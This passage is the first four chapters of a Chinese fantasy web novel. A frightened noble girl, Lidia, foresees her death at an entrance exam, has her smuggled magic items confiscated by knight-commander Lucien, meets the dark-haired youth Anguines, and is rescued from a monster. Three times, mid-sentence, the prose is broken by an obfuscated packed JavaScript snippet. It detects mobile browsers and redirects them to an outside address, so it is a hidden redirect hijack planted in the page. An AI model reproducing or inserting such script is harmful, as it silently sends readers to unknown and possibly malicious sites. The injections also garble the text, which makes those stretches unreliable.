《只靠贴贴就可以拯救世界吗》 1. 第 1 章 招生场地。 熙熙攘攘的人群跟着指挥声挪动,从天空向下看,像一群色彩丰富的小蚂蚁,慌乱中带着一点有序,渐渐排成一条长长的队伍。 莉迪娅混在人群里,紧张地攥着手腕上的水晶手链,盯着前方正在挨个检查考生的骑士,又心虚地抬手摸了摸隐藏在长发下的宝石耳坠。 “别看我,别看我……” 虽说规定了入学测试不允许带魔法道具……但是一想到“预知梦”中她会死在今天的考试里,莉迪娅就恨不得给自己全副武装,带多少魔法道具都不嫌多。 拿着检测设备的骑士离她越来越近,几乎只是一眨眼的功夫就走到了她面前。 “小姐,请不要紧张。” 白色骑装上整齐缀着几个金色纽扣,黑金腰带紧紧勾勒着窄腰,包裹在白色手套里的双手捧着一颗水晶球,带着极强的压迫感站在金发少女面前。 水晶球被捧在骑士胸前,刚好与莉迪娅的视线齐平。 她不敢抬头,视线躲躲闪闪,又怕逃避的样子过于明显,于是强迫自己努力正视前方,正巧通过水晶球的反光看到了自己现在的表情。 如海藻般的金色长发散落下来,好几缕垂在脸颊旁,衬得脸小小的,碧绿色的眼睛水汪汪的,满脸紧张与胆怯。 要、要镇定。 莉迪娅悄悄吞咽口水,努力让自己显得茫然无辜。 负责检查她的骑士轻笑着安慰:“请放松一些,小姐,我不会伤害你。” 面前的贵族小姐穿着一身与周围人格格不入的华丽长裙,只露出一小节莹白纤细的小腿。穿的短靴倒还算方便行动,只是小羊皮的鞋面很容易破碎,并不适合在森林前行。身上佩戴的饰品繁多,在阳光下闪闪发光。金色长发披散在身后,在战斗中很容易遮挡视线。 但骑士知道,对贵族小姐来说,这已经称得上是朴素轻便的装扮了。 只是今天的入学测试以战斗为主,穿这一身衣服,不借助外力的话恐怕很难顺利通过。 这种情况,骑士今天已经处理过很多次,在水晶球检测的空隙,他温声提醒:“如果您需要的话,我们可以提供更方便的骑装……教廷的女仆会为您梳洗打扮。” 莉迪娅哪里敢换下这一身几乎是由魔法道具组成的衣服。 裙子由炼金术师制作,刻上了不会破碎、驱赶蚊虫的阵法;短靴可以增加速度,让身体更加轻盈;腰间的丝带储存了满满的光元素……更别提她身上佩戴的所有饰品,都是防御性的魔法道具。 面对骑士的好意提醒,莉迪娅更紧张了。生怕对方是不是看出了什么,一句话都不敢多说,只是胡乱摇了摇头。 好吧,是一位十分固执的贵族小姐。 这也是部分老派贵族普遍会有的反应。通常来说,骑士应当点到为止,以免继续劝说会引起贵族的反感。 但……面前的少女看起来是如此胆怯茫然,考虑到这次考核的内容,骑士忍不住再次劝说:“我想,您最好还是换一身——” 话还没说完,手中的水晶球已经发出刺眼的红光,急促地闪烁着,将骑士未尽的话语堵在胸口。 “……请配合检查。小姐。”骑士皱眉,语气严肃,触及少女惊慌失措的表情,他又稍稍舒缓眉头,“也许是您无意中佩戴了魔法道具。请不要紧张。” 毕竟贵族的大部分饰品或多或少都会有一些魔法功效,也许这位小姐只是不慎错拿了平时常戴的饰品。 然而莉迪娅的胆子小得可怜,几乎是在水晶球发出警告的下一秒,她整个人都止不住地微微颤抖,面对威胁自己的骑士,她的眼底迅速蓄起了眼泪。 被、被发现了…… 怎么办?所有道具都会被收走吗?她还是会和梦里一样,两手空空走进森林,然后被突然出现的可怕魔兽咬死吗? 连日来一直困扰她的噩梦眼看就要成为现实,莉迪娅不顾周围人的目光,此刻竟鼓起勇气抓住骑士的腰带,抖着腿向前迈出一步,凑近了低声“威胁”:“我、我的哥哥是艾尔顿伯爵……” 在异世界这么多年,这还是她第一次用家族势力威胁别人。 受到警告的骑士果然犹豫了。 伯爵,哪怕在王城也是地位崇高的贵族。更何况艾尔顿家族是几大老牌贵族之一,与皇室有足够亲密的关系…… 再者,面前的这位贵族小姐说的话,与其说是威胁,倒不如说更像是哀求。 没有哪位贵族在仗势欺人的时候会露出这样可怜可爱的神情。骑士有几分心软,甚至有一瞬间想着要不要简单搜查一下就放过她。 然而这边长久停滞的进度引来了骑士长的注意。 高大英俊的骑士长,着装与普通骑士一样,只有身后一条纹着金边的黑色披风彰显着更高级别的身份。 他没有带头盔,亚麻色的卷发本该显得随性温柔,可他严肃的表情和过分挺拔的身姿,大步走来时在身后飘起翻滚的披风,只会让莉迪娅感受到深深的恐惧。 “怎么回事。”低沉的询问响起。 骑士一个机灵,知道长官那几乎不近人情的严苛标准,要是面前的贵族小姐落到骑士长手里,恐怕什么道具都带不进去。 “没什么,骑士长。”他挪动脚步,试图挡住莉迪娅,“一点意外,很快处理好。” 骑士长路西恩审视的目光落在他身后的金发少女身上:“你似乎遇到了棘手的事情。” 路西恩很高,比普通骑士还要高半个头。他在莉迪娅面前停下脚步,长靴重重落下,视线扫过莉迪娅的着装。 “小姐,请随我来。您需要进一步检查。” 莉迪娅被提溜出队伍。 原本她在这条队伍中就显得十分格格不入——贵族都拥有提前进入场地的特权,基本上所有贵族都排在队伍的最前方,早早进行检查。当然,理论上针对贵族的检查会更加精细。 至于组成这条长长的队伍的,是平民和一些落魄不堪的小贵族。 莉迪娅对王城不熟悉,早上来得又晚,再加上想浑水摸鱼夹带道具的想法,这才挤在了平民的队伍里。 可现在,一切计划都落空了。 她被路西恩带到了一处无人的帐篷里。 “请配合调查,小姐。”路西恩将她堵在帐篷里,目光一寸一寸扫过她的衣着,不含任何其他意味,充满审视与警告,“请保持公正。考试不允许携带任何违规物品。” 对他来说,此刻站在面前的不是什么伯爵小姐,也不是一位年轻柔弱的少女。而是一位恣意妄为到携带了大量违规道具的考生。 被像犯人一样审讯…… 从小到大都被精心呵护照料的女孩哪里经受过这种场面,几乎瞬间被吓哭了。在眼眶里打转许久的泪水顺着白皙的脸颊滑落,在汇聚在小巧精致的下巴,最后打湿了胸前的一小块布料。 “呜……”她抽泣着,怕哭声惹来骑士的不耐烦,只在实在忍不住的时候流露出一点儿呜咽。 怎么办,怎么办。 莉迪娅要死掉了。 已经自动把“交出所有保命道具”和“像梦里一样死在今天”划上等号的女孩完全失去思考能力,将她逼哭的不是骑士的审视,而是临近死亡带来的恐惧。 正直的骑士长难得感到棘手与无措。 作为光明教廷的第一骑士,路西恩有着丰富的与贵族打交道的经验。他是少见的以平民身份坐到第一骑士位置的人,他不属于任何一方势力,对教廷有着绝对的忠心。 路西恩自信能游刃有余地面对任何一个胡搅蛮缠的贵族,可这位正直到令人发指的骑士长,完全没有安慰一位正在哭泣的柔弱少女的经验。 狭小的帐篷里,厚重的帘布隔绝了外界的光线,只有放置在中央的水晶球散发着柔和的白光。 高大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041605|162554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骑士长低头不语,在短暂的沉默过后,他单膝跪地,略带僵硬地从怀中抽出一块手帕:“让您哭泣是我的失职,小姐。” 淡蓝色的手帕被递到莉迪娅眼前,透过朦胧的泪眼,莉迪娅接过这条没有一丝花纹的朴素手帕,觉得自己现在一定狼狈极了。 路西恩已经率先挪开了视线。 注视一位哭泣的少女是非常不绅士的行为。路西恩严苛地执行着骑士的准则,可盯着漆黑角落的时候,他的脑海中却闪过少女微红的鼻尖和雾蒙蒙的双眼。 年轻英俊的骑士长单膝跪在她面前,身形沉稳,看上去没有丝毫不耐烦。 莉迪娅从恐惧中抽离,渐渐止住了哭泣。看到面前的骑士,羞耻感后知后觉涌上心头。 “对、对不起……”她小声道歉,知道这一回完全是自己在无理取闹,双手无措地攥着骑士递给她的淡蓝色手帕,“对不起……我、我不该戴违规道具进来……” 几缕金色长发沾上了泪水,略有几分潮湿地黏在脸颊旁,哭红的鼻尖轻轻抽了抽,眼尾还有着因手帕擦拭而留下的红痕。 路西恩不慎看了一眼,便又再次低下头,只是这一回说出的话要温和许多:“您不该违反规定,小姐。请把违规道具都摘下来。” 完全没有回旋的余地。 莉迪娅抖着手一件一件把身上繁琐的饰品摘下来,胸针、项链、手链、戒指…… 一样样昂贵的魔法道具被放进盒子里,等摘到最后,她身上只剩下腰间系着的一条丝带,和被长发遮掩着的耳坠。 她还想做最后的挣扎,哪怕能留下一件保命道具也好。 “我……”莉迪娅鼓起勇气,双手轻轻搭在腰间的丝带上,没有进行接下来的动作,而是低声请求,“我听说这次考核非常危险……拜托你,可不可以给我留一件防御性的道具。我、我绝对不会利用这个道具伤害别人!” 路西恩扫过系在少女腰间的轻薄丝带,微微皱眉,斟酌道:“这不符合教廷的规定……” 触及少女哀求的目光,路西恩没有将后面的话说出口。 可这条丝带实在是过于瞩目,如果就这样让她入场,那么一向代表着绝对公正、公平的教廷的威严将会受到损害。 路西恩宽慰她:“考核或许会有一些艰难,但请相信,教廷的骑士会一直关注着场地内的情况,绝对不会有生命危险……也请您无需担心受到伤害。” 可是梦里她就是在重重保护下出现意外,被魔兽咬死了啊! 这些话莉迪娅没办法对任何人说,她张了张嘴,也只能徒然道:“我、我害怕,我很害怕……” 身体已经不安地颤抖起来,她诉说的恐惧不是谎言。路西恩没办法再苛责她,却也知道在教廷的规则下,她没有选择退出的权利。 骑士的沉默成为压倒莉迪娅的最后一根稻草,她垂在腰迹的手垂了下去,丝带随着拉着的力道散开,原本被整齐束缚的长裙也松松垮垮地垂落,在狭小的空间里显出一点令人不安地颓然。 无人知道此刻莉迪娅心中有多么紧张。 她在赌。刻意做出这样的姿态,她在赌面前的骑士长没有发现隐藏在长发下的耳坠。 哪怕利用他的怜悯也好,比起所谓的公正,莉迪娅更想活下去。 尚且沾染着体温的丝带被轻飘飘扔进盒子里,但准头不足,丝带在半空散开,有三分之一落在骑士捧着盒子的手上,隔着纯白的手套,余温从指尖传递。 手指骤然用力收紧,路西恩仍保持着单膝跪地的姿势,沉默地将丝带整齐叠好收入盒中,又在莉迪娅讶异的目光下,单手解开了腰间的黑金色腰带。 “您这样,恐怕不方便行动。”路西恩没有要求莉迪娅脱下身上这条能起到一定保护作用的裙子,只是将自己的腰带举到她面前,“请用这条腰带吧……上面留有我的印记,如果您遇到危险,我会在第一时间赶来。” 2. 第 2 章 能够多一重保障,莉迪娅求之不得。 她充满感激地接过属于骑士的黑金腰带,胡乱将裙子拢了拢,就将腰带牢牢贴在后腰,低头不大熟练地摆弄卡扣。 可这腰带结构本就复杂,莉迪娅还是个衣来伸手饭来张口了十六年的贵族小姐,纤细的十指艰难运作半天都没能顺利将腰带系上。 咔哒、咔哒。 印着教廷标志的卡扣一下一下反复弹开,莉迪娅急得额角冒出了细汗,本就潮湿的空气也愈发稀薄湿热。 黑暗中,眼前忽然伸出一只白色手套。准确来说,是被纯白的布料严丝合缝包裹着的骨节分明的手指。 指尖礼貌而克制地从下方托住即将掉落的卡扣——这东西在莉迪娅手中是如此笨拙沉重,此刻却显得分外轻便灵巧,终于发挥出了教廷出品该有的质量,在五根手指的灵活探索下,□□脆利落地扣上。 “恕我冒犯。” 路西恩沉声。他仍然保持着单膝跪地的姿势,左手垂落,右手也只有小半的指节悬放在莉迪娅腰间,托着那个似乎随时都会坠落的金属卡扣。 正直磊落的骑士长低垂眼帘,长长的睫毛遮住了他那双温柔的浅棕色的眼睛。 这如此近距离接触的情况下,他恪守礼节,偏移了视线。因此,哪怕两人在如此狭小密闭的空间内独处,莉迪娅也没有感受到任何压迫与不适。 她顺着骑士长的动作茫然拉扯了一下腰带,恍然意识到对方没有放手的原因。 她太过急切,没有调整腰带的长度就贸贸然将其穿戴上。尴尬的是,路西恩竟也忽略了这件事,在帮她扣上卡扣后才发觉这并不合身的松紧程度。 莉迪娅咬着唇,悄悄松了一口气。 刚才那只手突然出现的时候……她还以为是自己的耳坠暴露了。 还好,还好。 沉浸在劫后余生的情感里,莉迪娅赶紧护住腰带后撤一步,与面前的骑士长保持了安全的社交距离,低头自行调整松紧。 万幸,刚才她看清了路西恩的动作,弄明白了这条腰带的使用方式。 专心致志收拢长裙腰身的少女,没有注意到在半空中微妙停顿片刻后才蜷缩起来的指尖。 不算特别松垮的腰带与布料摩擦发出细微声响,在两道目光的注视下被拉扯、收拢,最后终于被紧密贴合地安置在少女的腰间。 本该是冰冷的金属制品,此刻却忽然变成了柔软的点缀。连泛着光泽的金边也在绸缎衬托下有了温度。 腰部重新获得熟悉的束缚感,莉迪娅颇为安心地反复摸了摸教廷的标志,忍不住再次确认:“骑士长先生,无论我在哪里,您都会立刻来到我身边吗?” 不知道是不是心理作用,她总觉得腰间暖暖的,安全感随着温度蔓延开来。 路西恩忍不住又一次轻轻扫过那条腰带,触及贵族小姐嫩白的指尖,飞速移开目光。 他骤然想到了什么,脸色有几分不自在,耳根也隐隐有些发烫。 但他完美掩盖了自己的失态,右手举起放在胸前,郑重承诺:“是的,小姐。如果您遇到危险,我会第一时间来到您身边。” 圣骑士的承诺令人安心。 她满是感激:“谢谢您,骑士长先生。那么,我可以离开了吗?” “当然,小姐。”路西恩语气平和,“只要您脱下最后一样道具就可以离开了。” 平淡的话语,却如同一道惊雷在莉迪娅耳边炸开。 她不可置信地睁大眼睛,又立刻意识到自己过于慌乱,假装茫然:“什么,我听不懂你在说什么。” “请您脱下最后一样道具。”路西恩重复。 全都被发现了吗? 她觉得自己此刻就像个小丑,明知道现在最体面的做法就是老老实实取下耳坠,可依旧还在做着可笑的挣扎:“这只是一条普通的不易破损的裙子……我认为,要求一位淑女脱下她的裙子并不符合您的骑士精神,先生。” 刚才流露出来的些许软弱与依赖被迅速藏起,莉迪娅努力摆出优雅从容的贵族姿态,带上了所有贵族从小就要学会的高高在上的冷漠面具。 即便她对此并不熟练。 自小体弱多病,被送到远离王城的偏远小镇的女孩,虽然依旧接受着贵族教育,但生活中完全用不到这些礼仪。 也因此,路西恩轻而易举地看穿了她佯装出来的傲慢之下的忐忑。 这位众所皆知的,眼底容不得一点儿沙子的骑士长,面对负隅顽抗的贵族小姐,难得没有摆出肃穆的表情,甚至称得上无奈地叹了一口气:“您明白我的意思,小姐。请摘下您的耳坠。” 莉迪娅脸色发白,被毫不留情戳穿的场面让她苦苦压抑着的情绪达到了一个临界点。 明明她那么努力地想要活下去。在预知自己死亡的场景后,她就一直在做各种尝试。可是她被不知名的力量压制着,什么都没办法说出口,哪怕是暗示都会引发强烈的心绞痛。 而现在,仅仅因为这个不知变通的骑士长,她千辛万苦尝试出来的,在被允许范围内最大限度保护自己的办法,就此功亏一篑。 哪怕理智上知道他只是恪尽职守,可情感上,莉迪娅没办法在这个时候保持冷静。 她颤抖着去摸耳坠,绿宝石被紧紧攥住,不算尖锐的棱角刺痛手心。 无论她如何恳求,面前的骑士长始终保持油盐不进的姿态,仿佛他就是这个世界上最公正的审判长。 她徒劳地扯下耳坠,重重扔向木盒:“这下你满意了!” 绿宝石发出淡淡幽光,弧度偏移,与路西恩手中的木盒相撞出一道清晰的碎裂声,最后摔成两半,陷入松软的泥土中。 她不想哭,可是偏偏情绪一激动,眼眶就红了,说话也不受控制地开始哽咽。此时此刻,莉迪娅甚至开始埋怨自己的不争气。 她不想再看到路西恩,不想和他再待在同一个空间里。转身就要离开帐篷。 这一次,路西恩没有再阻拦她。 掀开帘子前,她盯着面前厚重的布帘,说:“如果我死了……骑士长先生,如果我死了,请你一定记得。” 寂静的帐篷里,她留下的最后一句话在空中消散。 “都是你的错。” * 耽搁太多时间,莉迪娅成了最后一个进入场地的考生。 虽然是伯爵的妹妹,她却从未来过王城。因为从小体弱多病,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041606|162554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直在远离王城的小镇调养身体。 直到三天前。 她为了参加圣罗帝亚学校的招生考试回到王城,突然开始做“预知梦”。 在梦里,她同样因体弱多病被送去小镇疗养。只是与唯一的亲人的关系并不亲密,起码在梦里,莉迪娅从未见到过哥哥的身影。直到十六岁生日过后,她才被接回王城参加入学测试。 她跟随着梦里的“莉迪娅”的视角,隐约看到了几个片段,大多数都与一个名为安古因斯的黑发少年有关。只是那些地点都十分陌生,她无法分辨是在哪里,只知道“自己”回到王城不过三天,就已经和安古因斯结了仇,甚至在第三天的时候在大街上公然用鞭子狠狠抽了安古因斯。 她怎么会做这种事情? 莉迪娅不明所以,可梦境胡乱又毫无逻辑,很快又跳到了一片森林里。 她看到“自己”与安古因斯对峙,贬低他为“卑贱的平民”,辱骂他没有资格参加圣罗帝亚的招生考试。就在“莉迪娅”高高在上羞辱他的时候,一旁的草丛里忽然冲出一只巨大的、眼冒绿光的魔兽,锋利的爪子直直刺向她的后背,尖锐的牙齿戳进她的喉管…… 莉迪娅从噩梦中惊醒,被吓出一身冷汗。 人是很难记住梦中发生的事情的。 回到王城的第一天,她神色怏怏下楼吃早饭。艾尔顿伯爵已经用完餐,坐在餐桌前翻看报纸,看到她眼底的青色,皱眉问:“怎么回事。” 莉迪娅打了个大大的哈欠,揉着眼撒娇:“昨晚好像做了噩梦……哥哥在等我一起吃早饭吗?” “我吃过了。”年轻的伯爵将目光重新投到报纸上,“今晚的宴会,你不用参加了。” “好哦。”她喝了一口牛奶,嘴里了一小块面包,含含糊糊,“哥哥真好,我今天就在家休息啦。” 第二天,第三天,莉迪娅依旧整晚都在做噩梦。她身体病弱,晚间没有休息好,白天更没有精神,起得也比平时晚很多。 好在哥哥很忙,除了第一天两人在餐桌上见了一面之外,别的时间都碰不上面,不会让他分心来担忧自己的身体。 只是噩梦的影响越来越大了。连续几天做同样的梦,她险些快分不清梦境与现实的区别。白天补眠时也会突然惊醒,感觉灵魂与身体分离,缓上好久才能回神,后怕地摸了摸自己的脖子,发现原来只是在躺椅上睡着了。 因为噩梦的困扰,原定的参观王城的安排取消了。她没办法将梦中发生的事情告诉任何人,想要寻求帮忙的话说不出口,连大着胆子暗示不想参加圣罗帝亚的招生考试,都会引起剧烈的心绞痛。 走投无路之下,莉迪娅才想到瞒着所有人偷偷给自己带上足够多的魔法道具。 可她没想到自己连考试前的检查都没能通过。那么多防御性道具一件都没能带进去,身上除了那条算不上能起到保护作用的裙子之外,就是一条据说遇到危险时能让骑士迅速赶来的腰带。 莉迪娅紧紧抓着腰带上的卡扣,就像抓着最后的救命稻草。 无论那个梦有多么真实可怕,无论那股压制她的神秘力量有多么强大,她都不会让自己陷入梦中的境地。 她要努力活下去。 3. 第 3 章 梦中得到的信息有限,莉迪娅只知道那是一块比较平坦的空地,周围一圈都是高大的树木。 可考核场地内到处都是树木,乍一看四周都一模一样,尽管她努力辨认方向,最后还是只能确认一个大致的方位。 这场考核的成绩对莉迪娅而言并不重要,以艾尔顿家族的势力,她不需要在考核中夺取积分,只要她顺利走出森林,就绝对可以进入圣罗帝亚学校。 正巧,莉迪娅也完全没有什么证明自己、获取高分的想法。既然梦境中她是因为和一个陌生的黑发少年作对才意外被偷袭,那么只要她避开和别人的交谈,一路保持警惕,快速离开森林,应该就能安全了。 这是她想到的最理想的状态。只是莉迪娅担心的是,那股不让她将噩梦说出口、也不允许她退出考核的神秘力量,会不会强制她遇见那个黑发少年? 如果真的遇见了…… 她抓紧腰带,不断暗示自己。 梦里的“莉迪娅”和现实中的她显然是两个人,她没有和黑发少年结过仇,不会故意和他作对,更没有和他抢夺积分的意愿。 就算两人遇上了,只要她时刻保持警惕,快点离开,应该也不会魔兽偷袭,毫无防备地死去吧。 她走的很谨慎,几乎每一步都深思熟虑,时刻观察着四周的情况。 其实这场考核原本就不难。 毕竟王城中所有贵族的后代都会在圣罗帝亚学校就读,考核的目的更多是为了区分学生的能力,筛选出教廷青睐的足够优秀的学生,以及维持明面上的公平公正,给足够优秀的平民一个入学的机会。 为了学生的安全,场地内不会出现大型的魔兽。只有大量几乎没有攻击力的小型魔兽被投放进来,学生通过击杀小型魔兽来获取积分。 莉迪娅最后一个出发,又完全没有追寻魔兽踪迹的想法,路程走了大约一半,她依旧两手空空,没有遇上任何魔兽,也没有看见任何人影。 她不禁有了几分希冀,如果后半程也这么顺利,就能平稳地度过这次考核了。 然而世界上似乎真的存在一只无形的大手,以一种无法抵抗的神秘力量拨动了她的命运之线。 她小心绕过一棵参天的古木,一抬头,突然和一个陌生的少年对上了视线。 他的出现太过突然,莉迪娅被惊到,下意识后撤了一步,等看清他的眉眼,心中更是一阵慌乱。 黑发黑眸。 其实在梦里,她从未看清过那个名为“安古因斯”的少年的脸庞,只因为在异世界,纯黑色的头发实在太过罕见,她才能迅速判断眼前陌生少年的身份。 老实说,与她想象得完全不一样。 根据梦中给出的信息,安古因斯是一位普通的平民,因为有着在异世界被视作不祥的黑发黑眸,所以没有人敢雇佣他干活,生活非常艰难。 但他非常大胆,敢一个人钻进迷雾森林的深处去采摘大量草药,甚至可以稳定供货,因此一些商铺愿意以稍低一些的价格收购他的草药。 在莉迪娅的理解里,安古因斯应该是一位勇敢乐观,自强不息的少年。 然而出现在她面前的黑发少年却与她想象中截然不同。 精致的五官,苍白的皮肤,纤细高挑的身形,还有极其淡漠的神情。如果不是身上的衣服过于朴素,他看起来比寻常贵族还要孤傲骄矜。 更令她惊讶的是,那如绸缎一般光滑,柔顺地披在他身后的黑色长发。 莉迪娅对着他黑色的长发和黑色的眼睛看了又看,始终没敢确认他的身份。 会不会认错人了呢? 她犹犹豫豫,有点想提醒他小心魔兽,又有点不敢和他交谈。 没等她做出反应,黑发少年已经面无表情地走了过来。 “等、等一下!”她被吓得又后退了一步,抬手隔空阻拦,“你……我……” 少年停下脚步,面无表情地歪了歪头。 “我叫莉迪娅。”被吓到大脑一片空白,莉迪娅干巴巴地自我介绍,“我不要额外积分,我只想快点到终点。” 明明他什么动作都没做,但莉迪娅莫名察觉到了一股强烈的压迫感,直觉让她强忍住拔腿就跑的冲动,战战兢兢停在了原地。 如果将后背暴露给他,会很危险。 黑发少年思索了一会儿,似乎在理解她话语中的含义。片刻后,他说:“我叫安古因斯。我需要拿到更多积分。” 他居然真的是安古因斯! 虽然早有准备,但听到他报出自己的名字,莉迪娅还是被吓了一跳,她盯着他的黑色长发,忍不住回想梦里的画面。 梦里,他是短发还是长发? 本该是非常清晰的记忆,此刻居然已经变得模糊不清,她忽然晃了晃神,再度将思绪拉回来,又觉得他确实应该是长发。 既然他就是安古因斯……莉迪娅警惕地回头看了看自己背后的灌木丛,在面前危险的黑发少年和身后不知道什么时候会出现的魔兽之间,勇敢且果断地选择了前者。 于是金发少女立刻往前小跑了几步,碧绿色的眼睛里带着一点慌张和无措,对他露出一个试探的微笑,努力表达自己的友善。 “我……我听说这次考试很危险,”她说着在心中打过无数遍腹稿的台词,“请你一定要小心森林里的魔兽。” 安古因斯明显愣神了。 他的眼神逐渐从危险转化成茫然,面前的女孩浑身都散发着一种他从未接触过的柔软的信息,一种令他的指尖酥酥麻麻的东西。 很奇怪,但他却不想破坏。 事情似乎不应该这样发展。 安古因斯面无表情,大脑一片空白。 一股古怪的第六感作祟,心底不受控制地泛起杀意,却在与面前的女孩眼神接触的瞬间再度消散。 有一种事情超出掌控的烦躁。 莉迪娅不知道他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041607|162554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的想法。她自认为和安古因斯毫无恩怨,此刻也已经尽力提醒他小心魔兽,为了她自己的安全考虑,现在应该离他远远的才对。 于是她试探着往旁边挪动脚步:“那么,再见,安古因斯。” 安古因斯跟着她的动作转动头颅,身体却一动不动,丝毫没有阻拦的意思。 莉迪娅小步快跑,飞速逃离。 仅从背影就能看出她的迫不及待。 彻底离开那个和梦中一模一样的场景,莉迪娅难以自持地激动起来,她一路跑到一条窄窄的小溪边,望着汩汩水流,还有一点恍惚。 居然……这么轻松吗? 感觉有点不可思议,但更多的是劫后余生的欣喜。 莉迪娅从来没经历过这么复杂可怕的事情。在异世界十六年,她生活的环境都非常单纯。经常接触的除了管家和女仆,就是每年都会抽出一点时间来看她的哥哥。 她被保护得很好,小时候孱弱到稍微吹一点风就会高烧不退的身体,也在日复一日的调养中渐渐好转。 这是她第一次独自面对如此可怕的危机。 她兴奋地在原地小跳了一下。这个令她恐慌了三天的噩梦,仅用如此轻松的方式就能破局,单纯的贵族小姐天真地以为自己已经彻底脱离危险—— 溪流下游的小片芦苇丛中,一双猩红色的眼睛缓缓逼近。 …… 路西恩带着一小队骑士在场地边缘巡视。 身为队长,他本该在考核的终点坐镇,但他答应了那位贵族小姐,会保护她的安全。骑士信守承诺,一直跟在她身后,保持着一个不远不近的距离。 实话实说,那位贵族小姐不仅缺乏锻炼,还毫无警惕之心。 看着她第三次无视草丛里躲藏着的可以换取积分的小型魔兽,跟在路西恩身后的一名骑士忍不住嘀咕:“不是说贵族们都会提前接受训练吗?她怎么……” 在队长平静回望的眼神中,这名骑士默默噤声。 莉迪娅前进的速度实在是太慢了,在她和另一名考生碰面的时候,这一小队骑士加快脚步去巡视其他地区,只有路西恩还遵守承诺跟在她身后。 听到她好意提醒另一个考生小心魔兽,注意安全,路西恩在心底默默肯定了先前的判断。 没有什么可疑的事件,只是这位贵族小姐天性胆小谨慎又多疑。现在教廷与王室的关系越来越紧张,艾尔顿家族与王室关系紧密,天然地站在王室的那一方,也难怪这位艾尔顿家的小姐会质疑这场由教廷全权负责的考核的安全性。 再往前走了一段路,行程已经过了三分之二。 贵族小姐在小溪边停下,整个人都放松下来,连背影都透露出几分轻快。 看到她在原地小小地跳了一下,路西恩嘴角微微上扬,却在下一秒目光一凝—— 尖锐的利爪从水中窜出,连同一张满是尖牙的血盆大口,无声地冲向那道脆弱的身影。 4. 第 4 章 世界在这一刻静默了。 像是恐怖片里面前忽然出现青面獠牙的鬼影的瞬间,又像是逃生片里不幸与腐朽溃烂的尸体脸贴脸的时刻。 莉迪娅呆呆地站在原地,浑身僵硬,根本来不及躲避。 要死在这里了吗? 在腥臭味逼近的那一瞬间,她只来得及动一动眼球。 柔和的白光将她包裹,视野中一片空白,随之而来的是腰间温热的触感,再之后,嗅觉、听觉才慢慢恢复。 嘶吼声紧接着拳拳到肉的闷响,在耳边炸开后又逐渐远去,鼻尖刚刚嗅到一丝腥臭,又立刻被温暖的阳光的味道包裹住。 刚才腰间的温热不是错觉,强而有力的手臂环住了她,将她带离那个死寂的绝境。 莉迪娅双膝一软,身体不受控制的向后倒去,在陷入黑暗前的最后一秒,她看到了一双温柔的棕色眼睛。 ……得救了。 * 路西恩异常庆幸自己将腰带递了出去。 那只不知道怎么混入场地的魔兽扑向莉迪娅的瞬间,腰带上教廷的印记被启动,为他争取到了冲上前救下莉迪娅的时间—— 对他来说,这只魔兽毫无威胁,但绝对可以轻松夺走一位柔弱的贵族小姐的生命。 银色长枪从他手中刺出,带着势不可挡的气势,从正面直直穿透进魔兽的大脑,眼珠在突如其来的挤压下变形、膨胀,最后彻底迸裂,诡异的绿色粘液从两个黑色的空洞中爆出,溅落到地面的部分腐蚀了周围的植物。 路西恩眉头一跳,心底掀起惊涛骇浪。 他迅速后退,长枪将魔兽的尸体钉在原地。怀里的女孩已经彻底陷入昏迷,路西恩托着她的后背,隔着长裙布料绕过她的腿窝,将人稳稳抱起,带她离开这片森林。 在森林里巡逻的小队得到消息,快速而隐秘地展开排查,可场地内毫无异样。等他们赶到小溪边时,没有看到魔兽的尸体,草地平坦完整,只有一柄长枪斜斜地插在松软的泥土中。 出于对路西恩队长的信任,几名骑士慎重检查了长枪周围的情况,然而一切都毫无异样,那只据说有着绿色血液的魔兽似乎完全不曾存在过。 …… 莉迪娅睡了很沉很沉的一觉。 醒来时,她已经躺在了温暖的大床上。 入目是镌刻着华丽图案的屋顶,高高在上的神明坐在云端,看不清面容,接受凡间众人的顶礼膜拜。 床边守着一位穿着洁白长袍的牧师,见她苏醒,牧师温和道:“您好些了吗。” “我……” “请不要担心,艾尔顿小姐,光明神会护佑每一位忠实的信徒。”牧师说,“您没有受到任何伤害。” 明明牧师笑容温和,莉迪娅却下意识往被窝里缩了缩。 她动了动手臂,发现身上已经被换上了和牧师同款的白色长袍,棉麻的长袍将她从头到脚包裹起来,十分舒适。 莉迪娅小声问:“初次见面,牧师小姐,我该如何称呼您?” “莲娜。”牧师说,“您可以叫我莲娜。” “哦……”莉迪娅初步检索了一番,对这个名字毫无印象,这让她略微有些紧张,“谢谢你,莲娜小姐——” 话还没说完,忽然响起急促的敲门声,莉迪娅又往被子里一缩,紧张兮兮地看向门口。 